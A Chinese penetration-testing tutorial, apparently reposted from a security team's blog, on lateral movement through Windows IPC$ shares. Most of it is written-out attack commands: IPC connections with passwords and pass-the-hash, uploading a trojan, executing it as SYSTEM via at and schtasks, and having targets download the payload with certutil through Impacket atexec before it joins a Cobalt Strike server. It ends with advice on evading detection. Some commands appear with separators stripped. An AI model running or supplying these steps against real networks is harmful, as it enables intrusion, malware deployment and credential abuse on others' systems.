什么是IPC?
IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
IPC的利用条件
1.获得用户名和密码
2.开放了139、445端口
IPC可以实现远程登录及对默认共享资源的访问,而139端口的开启标识NetBIOS协议的应用。通过139、445端口可以实现对共享文件/打印机的访问。
3.管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$,d$,e$)等,和系统目录winnt或windows(admin$)。通过IPC可以实现对这些默认共享目录的访问。
IPC在内网中的利用手法
IPC基础命令
1.查看IPC连接与删除IPC连接
netuse#查看IPC连接 netuse\serveripc$/del#删除IPC连接
2.建立IPC链接到目标主机
netuse\serveripipc$"password"/user:username#工作组
netuse\serveripipc$"password"/user:domainusername#域内主机
3.查看文件列表
dir\serveripc$
4.下载与复制文件
在下载文件这里,我们是可以看到192.168.3.32的C盘下是有一个IP.txt文件的,这里我们使用下载文件命令将其下载到我们的桌面。
copy\serveripc$1.ext1.exe#下载文件
上传文件同样也是使用copy命令进行上传
copy1.bat\serveripc$#上传文件
5.查看文件内容
若是想要查看⽬标 C 盘下的 ip.txt ⽂件就可以使⽤ type 命令
type\192.168.3.32c$ip.txt
计划任务执行命令
在实战中,我们建立了IPC连接后,可以上传木马文件然后使用计划任务将其上线,目前windows有两个计划任务命令,系统小于windows 2012的使用at命令,系统大于等于Windows server 2012的操作系统已经弃用了at命令使用schtasks命令。
如下图,假设我们当前已经拿到了Web Server的主机权限,并成功与其内网的两台主机建立了IPC连接,这时我们想将这两台主机进行上线就需要考虑到刚刚提到的由于windows版本,该使用at还是schtasks计划让其运行木马这个问题。
AT
首先我们先将一个木马上传到我们的Web server中,由于内网主机不出网,所以这里要生成正向连接的木马或通过Web server中转上线的木马,这里使用的为中转上线生成的木马
在建立IPC连接后,将木马上传到目标机器中,然后再使用AT创建计划任务将其执行上线
netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$
这里我们可以看到4444.exe已经成功被我们上传到了目标机器中,这里我们先查看一下目标系统时间,然后在使用at 设置计划任务,执行我们的木马文件
nettime\192.168.3.21#查看目标系统时间 at192.168.3.2116:40C:4444.exe#使用at计划任务执行C盘下的4444.exe
这里可以通过at命令去查看当前计划任务情况,和删除计划任务,具体命令如下
at\192.168.3.211#查看atid=1的计划任务 at\192.168.3.211/delete#删除atid=1的计划任务
到了19:10分后,我们可以看到通过at计划任务木马成功被执行,已经上线到了我们的CS中
Schtasks
在windows server 2012及以后的操作系统已经弃用了at命令,转而使用schtasks命令,schtasks命令比at命令更加的灵活,但是在使用schtasks命令时,就会在系统中留下日志文件:C:Windows|Tasksxx.txt,这里不详细讲解schtasks的具体使用命令,只讲解在横向移动中,我们常用的操作命令。
和AT命令一样,我们先和目标主机建立IPC连接,将木马上传到目标机器中,然后再使用schtasks命令执行木马程序
netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$
木马上传成功后,接下来就使用schtasks命令,schtasks命令与at命令不同,schtasks命令为先创建一个任务,然后再按需运行该任务,也可直接指定时间运行,但相对来说较于麻烦,所以这里使用按需运行任务,在创建了任务后直接让其运行即可
schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#创建beacon任务对应执行文件,每天运行一次 schtasks/run/s192.168.3.32/tnbeacon/i#运行beacon服务
这里可以通过schtasks命令去查看当前计划任务情况,和删除计划任务,具体命令如下
schtasks/query|findstrbeacon#查看beacon计划任务 schtasks/delete/s192.168.3.32/tnbeacon/f#删除beacon计划任务
这里,使用schtasks也成功将SQLserver上线。
Impacket-atexec
在上文中,我们讲述了在命令行下通过使用计划任务来进行横向移动的效果,但该效果相对来说不太方便,例如只适用于明文密码进行连接,无法支持hash、在执行了命令后,无法获得回显等。这里我们可以使用Impacket-atexec工具,impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。
对于at&schtasks,我们可以使用impacket中的atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。impacket有两个版本,一个为exe可执行程序,另一个为python文件,该工具适用于Webshell下,Socks代理下,并且支持以hash的方式进行连接。
atexec EXE版
EXE版本具体使用方式如下:首先将atexec.exe上传到目标机器中
然后运行该文件
atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用户明文连接执行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域内用户明文连接执行命令
可以看到,在使用atexec进行执行命令后,结果会直接返回回来,那么我们也可以使用hash进行连接
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash进行本地用户连接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash进行域内用户连接
至此,为atexec的链接和命令执行命令,那我们回想刚刚在使用at和schtasks上线时的步骤:建立IPC连接、上传木马、设置任务执行....步骤较为繁琐,那我们在使用atexec时,也可以将其进行上线,并且相对来说较为简洁方案。首先,在这里我们需要转变一下思路,不能是将木马上传到目标机器中,而是让目标机器来去下载我们的木马程序,这里我们将木马放到Webserver的WEB目录中,然后构造下载命令,让目标机器将其下载到其机器中,然后在将其执行即可。web server的web目录为C:inetpubwwwroot,这里我们直接上传木马。
然后构造下载命令看其目标机器能否下载成功
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"
可以看到4444.exe已经成功被其下载成功,那么这里我们直接运行4444.exe即可
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"
这里我们可以也可以看到DC成功上线。
atexec Python版
以上是atexec.exe的利用,但是因为需要在目标主机上面上传exe在实战中不实用,可能照成数据包丢失,也可能被查杀。所以这里在实战中建议使用python版本,但是也有可能目标主机没有相对的语言解析 ,所以最好的办法就是使用socket代理调用atexec.py对其内网进行利用。
主要操作如下:首先在CS上设置一个socket代理,然后使用proxifier 添加代理、规则。
设置好代理之后,设置下代理规则,将所有目标主机为192.168.3.0的数据包都通过我们的socket代理进行通信,这样我们就可以与其内网的主机进行通信。
这时代理设置好了之后,我们就可以直接在本机中使用atexec.py对其内网进行横向移动了,具体命令如下:
pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC连接并执行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域内主机建立IPC连接并执行命令
可以看到,通过socket代理,我们没有上传atexec.exe文件,就可直接在本地中对其内网进行利用,可较大程度的避免在实战中上传较大exe程序,被查杀或上传失败的效果
pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用户使用hash进行IPC连接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用户使用hash进行IPC连接
那么在这里,我们上线CS的步骤也和上文中使用atexec.exe上线步骤一致,这里不再演示。
在内网渗透中,IPC是我们经常用到的手段之一,若⽬标管理员对服务器禁⽤远程登录我们就可以使⽤ IPC 来完成⼀些操作,在IPC横向移动时,较为推荐使用atexec.py+socket代理的形式对其内网进行横向移动,相对来说动静较小,不易被发现。
审核编辑:刘清
-
Web服务器
+关注
关注
0文章
138浏览量
24402 -
NETBIOS
+关注
关注
0文章
6浏览量
9399 -
IPC
+关注
关注
3文章
347浏览量
51916
原文标题:横向移动-IPC
文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。
发布评论请先 登录
相关推荐
评论